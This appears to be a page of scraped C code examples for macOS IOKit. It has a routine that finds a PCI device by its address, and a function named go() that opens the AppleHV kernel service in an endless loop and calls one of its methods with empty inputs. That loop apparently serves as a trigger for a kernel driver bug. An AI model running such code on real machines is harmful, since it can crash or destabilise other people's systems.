    io_iterator_t iter;
    io_service_t service;

    IOPCIAddressSpace space;
    space.bits           = 0;
    space.es.busNum      = bus;
    space.es.deviceNum   = device;
    space.es.functionNum = function;
    
    status = IOServiceGetMatchingServices(kIOMasterPortDefault, 
                                            IOServiceMatching("IOPCIDevice"), &iter);
    assert(kIOReturnSuccess == status);

    while ((service = IOIteratorNext(iter)))
    {
        CFDataRef reg;
        UInt32    bits;

        reg = IORegistryEntryCreateCFProperty(service, CFSTR("reg"), 
                    kCFAllocatorDefault, kNilOptions);
        bits = 0;

        if (reg)
        {
            if (CFDataGetTypeID() == CFGetTypeID(reg))
                bits = ((UInt32 *)CFDataGetBytePtr(reg))[0];
            CFRelease(reg);
        }
        if (bits == space.bits)
        {
            IOObjectRetain(service);
            break;
        }
    }
    IOObjectRelease(iter);

    return (service);
}
Example #30
0
int go() {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  while(1) {
    io_connect_t conn;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (conn == MACH_PORT_NULL) {
      printf("can't connect to service\n");
      return 0;
    }

    uint64_t inputScalar[16];
    size_t inputScalarCnt = 0;

    uint8_t inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16] = {0};
    uint32_t outputScalarCnt = 16;

    char outputStruct[4096] = {0};
    size_t outputStructCnt = 4096;

    kern_return_t err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);

    IOServiceClose(conn);
  }
}